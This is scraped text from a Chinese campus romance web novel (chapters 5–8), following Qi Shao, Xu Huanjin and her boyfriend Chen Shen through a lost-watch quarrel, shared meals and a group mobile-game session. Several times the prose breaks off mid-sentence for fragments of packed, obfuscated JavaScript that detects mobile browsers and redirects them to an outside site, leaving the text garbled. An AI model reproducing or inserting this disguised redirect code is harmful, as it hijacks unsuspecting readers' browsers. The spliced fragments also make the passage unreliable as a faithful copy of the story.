祁绍:“……”为什么光针对我? 王行泽:“……” 王行泽不说话了。 直到下课,王行泽一边啃包子,一边说:“我看陈深昨天晚上虽然想请他女朋友吃饭缓和关系,但多半没用。昨天陈深本来想打车跟女朋友去外面酒店住,被拒绝了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067280|195166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>祁绍潦草点头。 王行泽八卦地说:“我是真好奇,他们到底发生了什么,才闹成这样?以前看他们也算恩爱情侣。” 祁绍学的金融,和体育学院,新闻学院八竿子打不着,除了昨天那顿饭,其他时候更是见都没见过许还今。 对陈深和他女朋友的相处更是了解甚少,半困半应付地说:“不知道。” 王行泽说:“哥们打起精神来,你好歹猜一猜吧?” 祁绍闻言思考片刻,然后还是说:“不知道,你自己猜。” 王行泽真说了:“有百分之九十的可能是出轨。” “谁出轨?”祁绍问。 “陈深啊!” 王行泽说:“陈深可是体育生,你知道体育生这个群体,女朋友绕着操场跑,毛猴和钱吊车这种长得不帅的都换了多少个了,更别提陈深了。” 实话说,陈深长得还可以,一八三,健美型身材,一直在外面兼职做模特,刚开学那会有女生追他都追到了宿舍楼下。 祁绍想想,模棱两可地说:“那可能吧。” 他说完王行泽还在一旁各种猜测:“你说离不离谱?昨晚饮料洒的时候,连许还今都没反应过来,秦新月已经拿上纸巾了。” 祁绍说:“可能乐于助人吧。” “……,”王行泽:“我看未必。” 回到宿舍,宿舍里陈深三人出去上课,何所去图书馆写论文了。 下午没课,祁绍去冲了澡换了睡衣打算睡觉。 王行泽还在说话:“服务员送饮料的时候我拉你衣服,让你注意陈深的表情你看没?” 祁绍:“没注意。” “……” 王行泽:“你有没有注意吃饭时陈深给他女朋友夹的菜,他女朋友一口没吃?” 祁绍:“没注意。” 王行泽:“……” 八卦的王行泽恨铁不成钢:“那你一顿饭注意啥了?” 祁绍熬了一晚上,困得要死要活的,他拉高被子,大脑里蓦然想起什么,睡意朦胧地说, “注意到,昨天的菜不符合嫂子胃口,她没吃几口。” 王行泽:“……” 王行泽:“……??!” 5. 第 5 章 许还今第二天也是满课。 她上完课还要去拍摄,同宿舍的康婷要去陪男朋友,一下课就跑去了经管楼。 许还今边等电梯边打开手机,刚打开陈深又发了十几条消息,依旧都是报备和认错。 他昨天晚上应该回去复盘过了,还提到了秦新月给他擦裤子的事。 陈深发道【她就是热心的性格,你别介意】 【手表我下课回宿舍再找找,宝宝晚上一起吃饭吗,昨天人多,我都没和你好好说话】 下课时间教学楼这边人多,许还今等电梯没等到,转身走楼梯,回复说【明天中午,我一会要去拍模特图,没时间吃饭】 陈深看到这条消息,也不好强求,回道【好吧那就明天中午,你注意安全,太晚了给我发消息,我去接你】 X.【嗯,早先休息】 X.【记得找手表】 许还今不打算吃晚饭,回完消息收起手机回宿舍拿东西,顺便冲杯咖啡。 回到宿舍,其他三人也都在,而且正在聊306宿舍的事情,聊的还是祁绍。 昨天两个去吃饭的两人正在给没去的康婷说起他,聊得正兴,见到许还今进门三人不约而同地朝她点头,就当是打过招呼了,然后接着聊祁绍。 “长得巨帅啊,我就喜欢这种帅哥,我看到他感觉像回到了高中。” “但应该不是脾气差的样子,薛彩说:“长得帅,又有钱,你没看昨天他们舍友对他那个样子,估计是从小被捧着长大的。” 薛彩把薯片递给走过来的许还今,问她:“还今你觉得呢?” 宿舍里其他两人的都看向她,许还今拿了一片薯片,还没说话,秦新月率先说:“还今肯定觉得陈深比祁绍帅啊,陈深可是她男朋友。” 好像也是这么个理。 “我没有问长的帅不帅,”薛彩辩解地说道:“我问的是其他方面,还今你觉得祁绍是什么样的人,脾气怎么样?” 许还今嚼着薯片,把速溶咖啡倒进水杯,散落的一缕长发在脸侧勾着波浪圈,她想起昨天对方冷冷淡淡的一声“嫂子”。 咖啡融进水里,她说道:“应该还好,少爷性格吧。” 那股无所谓又和事佬般的平和,对别人的示好和照顾都习以为常的态度,不是养尊处优的太久养不出这样的个性。 薛彩猛然拍手,说:“看,我就说吧,金尊玉贵大少爷!” 宿舍里其他几人都笑起来,康婷猛然想起什么了,说:“祁绍?我靠,我说这个名字怎么这么耳熟,他是段正年的小舅。” “段正年?”秦新月问:“金融学院的段正年?” “对!” 康婷的男朋友也是金融学院的,说道:“就是那个刚开学,豪车不重样,女朋友换了无数个的段正年,他叫祁绍小舅。” “亲小舅?” “应该是亲的吧。” 薛彩闻言十分震惊:“我靠,那祁绍该多有钱?” “这下是真少爷了,命好我去……” “怪不得他们宿舍叫他浦江富少,有的人就是命好,羡慕不来。” …… 她们聊着,许还今拿上包准备走。 康婷转头问:“还今你要去拍摄吗,吃不吃晚饭?我男朋友被他们老师留下来做课题了,让我先回宿舍,我还没吃晚饭,我们一起去食堂吧,不等他了!” 许还今摇头婉拒:“我拍摄完再吃。” “哦,好吧,”康婷遗憾地问:“你几点回来?” 许还今说道:“可能十点左右回来。” “哦哦哦,”十点多对于大学生来说不算晚,许还今她们宿舍经常凌晨才睡,康婷说:“那你注意安全。” 许还今轻嗯一声道谢。 去到场地,拍摄两个小时,许还今不知道换了多少套衣服,然后坐公交车回学校。 晚上公交车上没什么人,许还今坐在靠后的位置,城市灯火的明暗倒映在车窗,她随意地捏了两下酸麻的手臂。 酸胀的感觉在肌肉中浸开,许还今忽然想起舍友评价祁绍的话,“有的人就是命好,羡慕不来。” 从小到大到众星捧月,高中时是所有人视线的焦点。 到了大学,连一向被人羡慕的陈深提起这位舍友语气都带着不易察觉的酸意,祁绍确实是命好。 还是普通人无论如何努力都达不到的那种好命程度。 虽然住在同一个寝室,但估计谁都清楚祁绍跟他们不是一个阶级的,这种人离他们普通人的生活很远,离许还今也很远。 拍摄的场地离学校有一段距离,许还今捏了几下手臂缓解酸痛之后便闭目休息。 到学校刚好九点半,这个点学校只有一食堂还在开着,许还今到窗口选了一份素抄花菜,又打了一小份米饭,坐下吃饭。 刚吃没两分钟,斜前方柱子旁有个男生探头看她,许还今注意到了,甚至还认出来那是陈深同宿舍的王行泽。 但对方没有和她打招呼,许还今就当没看见,接着吃饭。 那边王行泽看清了,他转过头对祁绍说:“就是许还今,她这么晚才出来吃饭?” 祁绍面不改色:“我们不是也这么晚才出来吃饭吗?” “这又不一样,”王行泽说:“咱俩是事出有因。” 他们俩这么晚才吃上饭,原因之一是祁绍起床的时候已经八点了,然后王行泽在宿舍里磨蹭了一个多小时才做完作业。 祁绍说:“你怎么总是关心别人女朋友?” 王行泽就没听他这句话,说道:“我知道了,肯定是因为去拍杂志了,模特都比较忙。” 祁绍顿了一下,倒是问了句:“需要这么忙?” “你以为谁都是你侄女啊?”王行泽说:“许还今应该是要靠着这个赚钱。” 王行泽知道祁绍有个侄女也是模特,只走秀的那种,而且完全是为了兴趣才去走那几分钟,要是心情不好,甩手不就干了,反正也不靠这个赚钱,别人拿她没办法。 正说着,王行泽又朝许还今那边看了一眼,祁绍生怕许还今注意到他们了,赶紧说:“你能不能隐蔽点,你老是看她干什么?” 王行泽看完回头,说:“我看她吃的什么。” “吃的什么,”祁绍问。 “好像就一个蔬菜,”王行泽也不是真关心许还今吃什么,他看是为了说陈深。 王行泽说:“陈深挺不是人的,自己晚上在宿舍大鱼大肉吃着,自己女朋友晚上一个人吃饭,啧啧,这个点食堂都没啥吃的了。” 王行泽在那边感叹,祁绍往桌上扫了几眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后王行泽又觉得奇怪地说:“你不是说不习惯叫她嫂子吗,刚才我听你那一声叫的比谁都亲热?” 祁绍:“……” 祁绍面不改色:“我叫谁都亲热。” 直到吃完饭回到宿舍,祁绍还觉得许还今的动作眼熟,他难得没打游戏,早早洗完澡上床。 底下陈深不知道在找什么,把柜子翻得砰砰作响,何所唉声叹气地写着论文,钱吊车和毛猴在打游戏,王行泽蹲在下面也在打游戏。 柜子响了一会,陈深问:“谁见过我的手表,冰蓝色表盘的那块?” 钱吊车和毛猴回答:“没见过。” 陈深问何所:“你见过吗?” “没有,”何所说:“我写论文呢。” “艹,奇怪了,哪去了,你们好好想想,有没有见过?” 毛猴回头问:“哪块手表?” “我女朋友送的那块,生日礼物……” 陈深还在反复询问,祁绍躺在床上翻个身,想的是, “我是不是在哪见过许还今?” 6. 第 6 章 陈深昨天翻箱倒柜半天,到中午还在宿舍群里问有没有见过那块手表。 宿舍其他几人都回复没看到。 王行泽对陈深略有不满,主要也是他在宿舍太烦人了,抱怨了一声:“连女朋友送的礼物都能弄丢,这谈个鬼的恋爱啊。” 中午人多,祁绍和王行泽一起排在食堂队伍里,他本来打算看低头看手机,结果视线一瞥,先看见了两个熟人。 陈深站在许还今的旁边,正在弯腰和许还今说话,两人看着十分亲密。 那边是许还今先看见他们,拉着陈深的手臂朝这边看,陈深抬头打招呼:“祁绍!” 许还今抿唇笑,祁绍早上没课,上午睡的七荤八素的,到现在还提不起精神,就点下头算是打过招呼了。 王行泽闻声也抬头打招呼。 买完饭,王行泽找了个位置,正吃着饭,陈深带着许还今过来了。 食堂人多,位置不好找,陈深问:“拼个桌?” 祁绍点头,朝里面挪了一个位置,王行泽端着饭坐到祁绍身边,把位置让给他们,说道:“行,一起吃。” 许还今坐在里面,正好是祁绍对面。 陈深是体院的,训练多吃的也多,盘子堆的很满,相比之下许还今的盘子里就少很多,一点蔬菜,两块鱼肉,米饭也只有两三口的量。 祁绍不了解模特这个行业,但见过自己表妹吃饭,饭量似乎也没小到这个程度? 怪不得模特都这么瘦,工作应该很辛苦。 许还今先开口说:“昨天晚上谢谢你们。” 说的是祁绍给她送菜的事情。 王行泽虽然对陈深有意见,但毕竟都是同寝室的室友,关系也不好搞得太僵,而且他对许还今印象还不错,闻言说道:“不用谢,昨天那个牛肉嫂子你吃着还习惯吧?” 许还今点头,说习惯。 陈深不知道什么事,还在问,许还今解释了几句,陈深听完也向祁绍道谢:“祁绍,谢了啊。我本来还担心还今晚上不吃饭,还好遇到你们了。” 王行泽在祁绍身边扭动了一下身体,想说你担心你在宿舍待着不去接她?”,但碍于当事人在面前还是极力忍住了。 祁绍则非常潦草点头说:“没事,喜欢就行。” 吃饭时,祁绍视线随便一瞥就能看到,陈深给许还今夹了好几次菜,鸡肉丁、黄瓜丝之类的。 一开始许还今没怎么吃,但陈深很快侧身问她怎么不吃。 许还今才夹起菜吃下去。 陈深的声音听起来和平时在宿舍不太一样,说道:“宝宝多吃一点。” 对面祁绍和王行泽默契低头,恨不得自己听不见。 饭吃到一半,钱吊车也来了,嚼着三明治跟王行泽挤一个位置,聊着天说道:“电竞社有个比赛,你们要不要去,参加就有活动学分,两分,前三名还有综测。” 活动学分是第二课堂学分,主要通过参加各种校内外活动获得,大部分学校都会要求学生满多少分才能毕业,对学生来说还挺重要的。 刚大一,大家的活动学分都有没满,王行泽有兴趣了,问道:“都哪些游戏的比赛,电竞社牛逼啊,能搞到两分,我参加学校开幕式累死累活才给一分。” “电竞社社长是辅导员面前的红人,两分太简单了,你们有没有兴趣?”钱吊车说:“好几个游戏,手游也有,我把通知发宿舍群了,你们看看。” 王行泽打开手机看,对面陈深也打开手机。 陈深在校内经常参加各种活动,不缺活动积分,但许还今平时除了上课很少在学校,她的学分不多。 陈深滑动手机屏看了几秒,侧头问道:“还今你要不要参加,你学分还没满?” 陈深今天还没戴手表,许还今正在想待会该怎么解决这件事。 其实陈深的心思很好猜,平时他自己也很忙,训练拍摄再加上校内的各种活动,压根没时间关心许还今的学分到底有没有满,更何况她也不打游戏。 这个时候这个提议,陈深无非是想要借此来表现一番。 表明他对许还今的关心,大有“你看我还是在乎你的,我多关心你,你就不能别抓着手表的事情不放吗?”的意思。 可这根本不是单纯的手表问题,许还今回道:“我游戏玩的不好,算了。” 陈深的心思确实是许还今猜的那样,他没找到手表本来就着急,刚才一顿饭吃下来,许还今对他也不搭腔,陈深就更着急了。 他隐约能感觉到,许还今这么关注手表这个事,肯定不是在单纯怪他粗心,不在意女朋友送的礼物,背后应该还有其他目的。 但陈深一时半会猜不懂许还今的心思,实在有些坐立难安,就想着先哄一下。 把人哄高兴了,有些事情就好解决了。 因此听到许还今拒绝,陈深赶紧补充:“打得不好没关系,我能带你,而且还有祁绍,他天天在宿舍打游戏,技术好。” 猝不及防听到一个意料之外的名字,许还今下意识抬眼朝祁绍看。 王行泽也想参加,劝道:“绍,祁绍你参加一个,跟我一组,有你在我们胜券在握啊!” 钱吊车也劝:“绍,来一个嘛,在宿舍磨炼这么久,也该让其他人见识一下谁才是南江游戏王了。” 陈深则说:“来不来祁绍,给我一个面子,就当帮忙了。” 祁绍不想参加,他打游戏图一乐,跟王行泽他们玩又掉分又麻烦的,严重影响他的游戏体验。 他刚想拒绝,但还没有开口,钱吊车又问许还今:“嫂子,祁绍参加你来不来?” 许还今看出祁绍不愿意参加,说道:“祁绍还没说要参加,我游戏玩的不好,会拖累你们。” 于是众人又看向祁绍,祁绍的话卡壳了一瞬,没懂她这是想让自己参加还是不参加。 王行泽求神仙告奶奶般央求祁绍:“绍,绍,哥们求求你,来一个,参加一下,没你我们真的不行,我玩的菜。” 求了好一会,祁绍随意地点头说道:“你帮我报名。” 吃完饭,陈深和许还今先走,王行泽要去一趟辅导员办公室,祁绍跟他一块,他进办公室,祁绍去走廊尽头的自动贩卖机里买饮料。 金融学院的教学楼建的比较豪华,但教学楼比较空,一楼的贩卖机正对着外面的小广场。 祁绍扫码点饮料,贩卖机不知道出了什么毛病,下单了好久也没掉饮料下来。 倒是听见窗外有人经过的聊天声。 “手表我真不是故意弄丢的,昨天我在宿舍找了好久,你不信去问钱吊车他们,都能为我作证。” 相较于男声的焦急,女声则显得十分冷静,甚至带了些温声细语的宽慰,出着主意, “可是你找了好久也没找到,应该不在宿舍,你好好想想掉在哪里了。” 是陈深跟许还今,应该还是在聊手表的事情。 偷听别人说话不好,但祁绍的饮料死活掉不下来,他只好尴尬地待在原地等饮料。 陈深着急了,说道:“我怎么知道掉在哪了,就一块手表,也不显眼……” “手表不会随便从你手腕上掉下来,”许还今说道:“所以你想想,你在哪摘下它的。” 这话听起来有言外之意,祁绍站在里面莫名想起王行泽说的话——“有百分之九十的可能是出轨。” ——“谁出轨?” ——“陈深啊。” 祁绍不关心谁出轨谁不出轨,也不在意外面的两个人到底在吵什么,是真的出轨还是仅仅为了一块弄丢的手表。 五月的天气,太阳炽热,他站在这只关心这破机器什么时候把他的饮料吐出来,他真的很渴。 等了两秒,机器没动静。 倒是外面还在说,陈深的声音,嗫嚅着讲:“我想想,宝宝你别生气了,我肯定能找到,这几天都没理我了,亲一下行不行?” 艹,大白天的这么急色?! 许还今的声音听起来有些轻,隔着窗户和燥热,模糊听见她说:“不……” 眼看事态发展不对,祁绍果断走人,进旁边的男厕所。 他在水池边洗了把脸,冷水刺激皮肤,夏天的闷热感稍微下去一些,为了确保自己不会再听到什么少儿不宜的话题,祁绍特意等了三四分钟才出去。 结果外面居然还在聊刚才那个话题,陈深说:“为什么不能亲,宝宝让我亲一下都不行吗?” 许还今的声音听不太清,不过应该说的是拒绝,因为陈深还在用他那个黏糊到可怕的语调讲话, “可是宝宝,我很想你……” 祁绍真的听不下去了,他感觉自己耳膜遭受到了一级污染物的污染,果然上次段宗年拼命拒绝他妹妹那个体育生男朋友,声称他们敢谈自己就找人打断对方的腿是正确的。 这的确需要较高的忍耐力才能接受。 祁绍慢吞吞,又十分重地晃了一下自动贩卖机,饮料还没掉出来,但外面的声音戛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067282|195166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而止。 过了几秒,陈深探头进来,本来还怒气冲冲的声音在看到人的一瞬间下意识地收起火气:“祁绍?你在这干吗?” 祁绍头也不抬,专心致志地盯着贩卖机,说:“买饮料,贩卖机坏了。” “坏了?”陈深从窗户外伸手,帮忙晃贩卖机,也没用。 陈深说:“你到别的地方买吧,这机器老是坏。” 祁绍倦倦地搭了一声腔,没有要走的意思。 陈深应该也挺尴尬的,他迟疑地问:“刚才……” 还没问出口,又自觉收住,随即咳了两声对许还今的脸说道:“我晚上再好好想想手表去哪了,你安心上课。” 许还今应了一声好,随即是脚步声。 祁绍听力好,天天都在游戏里听脚步声,一个人还是两个人的声还是能分辨一下的。 ——眼下只有一个人走了。 祁绍还盯着贩卖机,许还今的声音在窗外响起,比起对陈深,她此时的声音有些刻意的平淡, “重启贩卖机试试,右下角的按钮。” 祁绍视线稍顿,按照提示摁下重启键。 机器的指示灯变暗,许还今明白了些什么,在窗外问:“你刚才听见了?” 男生片刻后轻嗯一声,如实说:“听见的不多。” 他听见似乎也没事,许还今顿顿,没再说话。 机器这下终于把饮料吐出来了,易拉罐掉落,“砰”的一声。 祁绍弯腰拿起饮料,他刚要打开,又想起什么,把饮料递给许还今问道:“谢了,你喝吗,一会我再买一瓶。” 许还今在看着他,祁绍都他妈的佩服自己的注意力,他第一秒,视线先落在了对方的嘴唇上。 淡粉色的唇彩,在阳光的照耀下泛着晶莹的光感。 颜色十分均匀完整,显然,陈深没亲到。 祁绍迅速做出了判断,同时,迅速地为自己的判断力而短暂忏悔一秒。 只有一秒,因为许还今很快在他看过来的时候笑了一下,抿唇笑,没有露牙齿,但唇边有浅浅的,下陷的梨涡。 她还是化着妆,黑色的眼线和睫毛,不笑的时候稍显冷淡,眼神很安静,明明在看人,却又让别人觉得她是在透过自己看别的东西。 这种感觉让她的眼睛里仿佛勾了一层雾气,像是知道些什么,但是却不说,眼瞳里压着无数情绪,似梦似真,引得别人想去探究她的想法。 祁绍还是第一次对人有这个感觉,来的陌生异样。 他没等许还今的回答就把饮料放到窗台上,说道:“天太热了,你拿着喝吧。” 许还今平时很少喝可乐,可乐含糖太多了,她喝不了,但祁绍已经往后退了两步,重新扫码点饮料。 刚想说话,抬眼却看见他站在贩卖机旁边,下颌线清晰利落,鼻骨微翘,黑发散落在额前,脊背稍弯,一副养尊处优,闲来无事的公子哥摸样。 和几年前的场景相差无几,甚至连人都没有怎么变。 人总是很奇怪,明明都过去这么久了,甚至连当时的心境如何都记不清了,有些场景却还是能记得如此清晰。 清晰的像千百遍驻足观看,对方的每一个瞬间早就刻在了骨子里。 许还今不想再多事,拿起可乐说了声谢谢。 南江大学种着很多梧桐,树叶宽大,阳光炽热,刚从冰柜里拿出来的易拉罐外沁出一层薄雾。 她忽然想起一个往事。 当年祁绍在学校是有名的好脾气公子哥,不管对谁都是一副好说话的样子,在他那一圈家境优渥、高高在上的朋友的对比下更显得平和可亲。 每次学校有交换礼物的活动,或者是情人节之类利于表白的节日时,大家都会猜这位好脾气的少爷到底在收到第几封情书的时候才会不耐烦。 十封?二十封?还是一百封? 可祁绍自始至终都没有过不耐烦,他习惯在每天早上上学时叼着一袋袋装牛奶,从学校门口走到教学楼,沿途收下所有的情书,却一封都不看。 走到教室门口,牛奶刚好喝完,然后在众目睽睽下把情书和牛奶全部扔进垃圾桶里。 所有人都知道祁绍脾气好,不会发火。 但同时,六中所有的学生也都清楚,他掩映在公子哥外表下的那份骨子里的冷淡。 越是脾气好,越是难以接近。 那是十六岁的祁绍。 任何一个爱他的人都会为此感到绝望。 7. 第 7 章 祁绍下午还有课,王行泽一到上课就p事多,一会喝水一会出去上厕所。 讲台上的老师就盯着他们这块位置,王行泽一站起来老师就点祁绍的名。 点完祁绍点王行泽,一节课班上就他们俩轮番罚站。 好不容易熬到下课,王行泽总算松了一口气,跟祁绍说:“这个老师到底哪来的这么多问题,给我问懵了。” 祁绍都无语了,说:“你少上一趟厕所他也没这么多问题了。” 刚上课二十分钟王行泽出去三趟,比台上的老师翻PPT的频率都高,这谁能不注意他们。 祁绍低头看手机,准备开游戏,说:“你抽时间看看男科。” 王行泽:“……” 王行泽十分不服:“我艹,刚才是水喝多了好不好!” 他凑过来,看到祁绍在玩游戏顺便说道:“我们报名的项目是峡谷决战,七人组队,有你,我,还有钱吊车、瘦猴和陈深,许还今宿舍还有两个人也要参加,秦新月和薛彩,规则我发群里了,你看一下。” 峡谷决战是最近很热门的5v5游戏,简单好上手。 王行泽介绍说:“薛彩就是那个紫头发的女孩,秦新月是那个眼睛大的,你记得吧?” 其实祁绍一个也没记住,他随意点头,点进邀请群聊加入。 群里都是熟人,几个人正在聊天,消息滑得飞快 【现在打?】 【我女朋友还在上课,大不了】 【来试一局,许还今不在我们先打嘛,刚好五排。】 …… 等群聊消息中显示出一条小字提醒“你泽哥邀请恐龙加入群聊”之后,群里很快换了话题。 先是陈深@他,【祁绍,在上课吗?打不打游戏?】 接着的一条【一起打一局呗,人多热闹】 【@恐龙,富少打不打游戏?】 【来一局吧,上课无聊死了】 两个陌生头像,应该许还今宿舍的人。 王行泽在下面补充【下午满课,晚上回去再打】 祁绍不爱回消息,其他几人大概也看出来了,薛彩回了句【哦哦哦,好吧】 陈深问【几点下课啊】 虽然这个学期已经过半,但同宿舍谁也不会刻意记住宿舍其他人的课表,王行泽回复【六点十五吃个晚饭回宿舍,大概七点到宿舍】 陈深发了一个“OK”的表情。 陈深发道【还今也晚点才能玩,她也六点十五下课】 祁绍手机弹出消息横幅,陈深的消息,还有一条名为“月色”的加好友通知。 正逢打团,他随手划走横幅。 祁绍赶在上课之前结束游戏,收了手机拿着支笔在手里晃着,晃了一节课,然后到下一个教室接着晃。 一直晃到所有的课程结束。 吃晚饭的时候祁绍问王行泽, “你觉不觉得陈深女朋友很眼熟,像是在哪见过?” 祁绍印象里他见到陈深女朋友的次数屈指可数,金融和体育,新闻三个学院都不在一块,平时祁绍也鲜少和陈深一起出去。 按理说应该不会有种熟悉感。 难道是在其他地方见过? 王行泽和祁绍大学基本同步,他见过的人王行泽应该也见过。 王行泽一吃起饭就着迷了,他猛塞一口米饭,一共就听清两词。 “女朋友”,“在哪见过?” 王行泽自动在大脑里把这句话补充完成,说道:“你想追女朋友就追呗,还搞什么‘这个妹妹我曾经见过’这一套。” 王行泽啃着鸡腿说:“现在这一套都不流行了。” 他嘴说完,大脑过了两秒才反应过来,瞬间兴致冲冲:“我靠你看上谁了,开天辟地这头一遭啊!” 这也不怪他惊讶,从大学开始,祁绍就活在另外一个次元一样。 宿舍其他人恋爱都谈了三四遭了,连床都不知道上过多少回了,祁绍顶着这个家世,这个帅脸,对任何人都无动于衷。 和他侄子段正年那种一周换三女朋友的浪子比简直是南辕北辙。 王行泽终于舍得放下他的饭了,马上掏手机准备向段正年通知喜讯,兄弟你要有小舅妈了。 他边打字边问: “到底是谁啊,我想想你最近见过哪些女生,该不会是我们班的吧?” 祁绍:“……” 祁绍冷冷吐字:“我看上许还今了。” 王行泽:“??!” 王行泽动作一顿。 “??!我艹,真的假的??!” 祁绍异常无语,抓起筷子说:“假的,你是猪吗?” * 上完课吃过晚饭回寝室,何所还在写他那个论文,钱吊车和毛猴都回来了。 祁绍钻进浴室洗澡,出来的时候拿了条毛巾擦头发。 他捋起头发,穿着件白T恤,人一旦长得特别帅时,连擦头发都像是在搞T台造型。 钱吊车和王行泽一左一右吹了声口哨,“哦吆,帅哥!” 祁绍贼无语,把毛巾搭在肩膀上开电脑。 何所一边翻着白眼往眼睛里滴着眼药水,一边问钱吊车:“陈深呢,他不是早没课了吗,怎么还不回寝室,参加活动去了?” “哪有活动,”钱吊车说:“去训练室找手表了,一块手表找半天。” 何所好奇的问:“那手表到底有啥含义,他们就因为这个闹僵了?” 钱吊车说:“手表是生日礼物,其他的我也不知道,不过应该不至于因为这些事就闹僵,他们认识挺久了,一个高中的。” 钱吊车平时和陈深关系不错,知道的也多。 何所说:“约定好了考一个大学吗?陈深蓄谋已久啊!” 钱吊车突然很猥琐地笑:“就许还今那个长相,你看到了你不蓄谋已久?” 何所一想,嘿嘿直笑。 整个宿舍瞬间充斥着低俗的流氓气。 祁绍开了电脑,脸都没朝这转就说道:“别在床上抽烟。” 宿舍顿时改变话题,扭头找人:“谁点烟了?” “快把排气打开!” “这没烟味啊?祁绍你闻错了?” …… 床上毛猴图方便,刚点烟,想趁着大家聊天的功夫抽几口,没想到立马就被发现了。 他讪笑着摁灭烟,说:“行行,我去厕所抽。” 钱吊车转身说:“毛猴你别tm把宿舍点了。” “赶紧下来,”何所坚定地维护着太上皇的旨意:“抽烟去厕所。” 306宿舍除了祁绍外全都抽烟。 其实祁绍一开始也没要求谁非要去外面抽烟,反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祁绍不想说了,王行泽八卦到底,问:“你说你看许还今眼熟?” 祁绍懒懒地搭腔:“你这听力不是挺好的吗,刚才在食堂怎么跟聋子一样?” 王行泽自动忽略后一句,说道:“眼熟正常啊,以前你就见过她不记得而已,比如开学典礼,还有去年刚开学陈深和咱俩一起去网吧,他女朋友当时就坐旁边,你是啥人都不记。” “哦,”祁绍想想,确实王行泽说的事他一件都不记得。 本来也只是随口问一句,祁绍抓了两下湿润的头发,放弃对这件事的探寻欲,转而说道:“一会打游戏叫我。” 王行泽比了个“OK”的手势。 祁绍自己打了几局游戏,陈深七点半忽然说他晚点才能回来,让他们先玩,还特意嘱咐要祁绍他们照顾许还今。 祁绍拿手机开游戏。 五排,王行泽,祁绍、钱吊车还有女寝那边的薛彩和许还今。 祁绍还没通过下午的好友申请,他也不打算加别人,王行泽负责把人都拉进房间。 他拉完其他人,问钱吊车:“陈深女朋友呢,怎么还不来?” “等会,”钱吊车说:“我发个消息问问。” 过了两秒,钱吊车说:“来了,我拉她,名字叫‘X.’大写字母的那个。” 钱吊车刚说完,祁绍这边的有些好友框亮了一下,提示好友回归上线。 “您的峡谷老友''X.''已上线……” 祁绍愣了下,不太确定的想自己加过陈深女朋友吗? 什么时候? 8. 第 8 章 祁绍的困惑没有维持多久。 王行泽问祁绍玩什么分路,祁绍说:“你们先选,我补位。” 王行泽就去问女生那边玩什么,薛彩开着麦,说自己要玩中路,钱吊车紧随其后选了上路。 “祁绍,你玩打野还是射手?” 祁绍戴着一只耳机,说道:“先问嫂子玩什么?” “她玩辅助吧?”王行泽说:“嫂子你玩辅助行吗?” 听到询问,许还今开麦说了一句:“可以。” 语调干净,没有任何拖泥带水的尾音。 王行泽玩打野,祁绍选了射手。 和兄弟女朋友打游戏这件事说好办也好办,主要遵旨就两条,第一,不遗余力地衬托兄弟,为兄弟打造英明神武爱老婆的好形象。 第二,疯狂嘴甜讨嫂子欢心。 鉴于此时兄弟陈深不在,祁绍他们能做的只有第二条。 所谓宁拆十座庙,不毁一桩婚,虽然王行泽平时对陈深颇有微词,但此时打起游戏来也是十分卖力,一口一个嫂子叫的贼亲切。 还有钱吊车和他旁边围观的毛猴,游戏还没开始两人就嫂子长嫂子短的。 祁绍技术好,再加上玩的是射手,主要负责带许还今,她刚才选了一个比较能混的软辅。 祁绍也没指望她能玩成什么样,自己在一边清线发育,然后偶尔在许还今成功放出技能之后夸一句:“嗯,嫂子玩的好棒。” 他这张嘴也只能甜到这个份上了。 许还今始终没说多余的话,她和祁绍不熟,也没什么好说的。 钱吊车他们几个段位都很高,连薛彩也是星耀段位,匹配的对手也是高段位五排,配合十分默契。 游戏玩到中场,局势陷入僵局。 下路和中路频频被抓,王行泽打野玩的手忙脚乱,在各个分路游走,许还今跟在祁绍后面,顿了一下,问道:“我要下去帮他们吗?” 祁绍瞄小窗口看下路,三个人都在草丛蹲着,对面打野不在。 对面打野不露面这三个人还真敢蹲,等死吧。 男生说:“别管他们,嫂子你跟着我。” 许还今很久不打游戏了,恪守辅助职责,听他的吩咐说好。 特别清脆的声音,字正腔圆的同时又让人听起来觉得舒服和谐。 祁绍不自觉地扶了下耳机,想起来陈深在宿舍说过一次许还今是播音主持专业的学生,成绩优异,好像是专业第一,经常拿奖学金。 那天她就是用发下来的奖学金给陈深买了一双球鞋,陈深在宿舍大炫特炫,才随便说了这些话。 当时还引得何所连连羡慕,说陈深有福,女朋友不仅长得漂亮成绩还好,有了奖学金还不忘给男朋友买礼物。 陈深说:“那是,我女朋友以后肯定是大记者,台柱子级别!” 这样一听,许还今的嗓音条件确实有做记者的天赋。 祁绍手指划着屏幕,开始和对面射手交手。 下路果不其然,打野和辅助就蹲在草丛等着王行泽他们三个人露头。 王行泽刚出来就被打了个半残,局势一下混乱起来,祁绍解决完对面射手趁机去打龙。 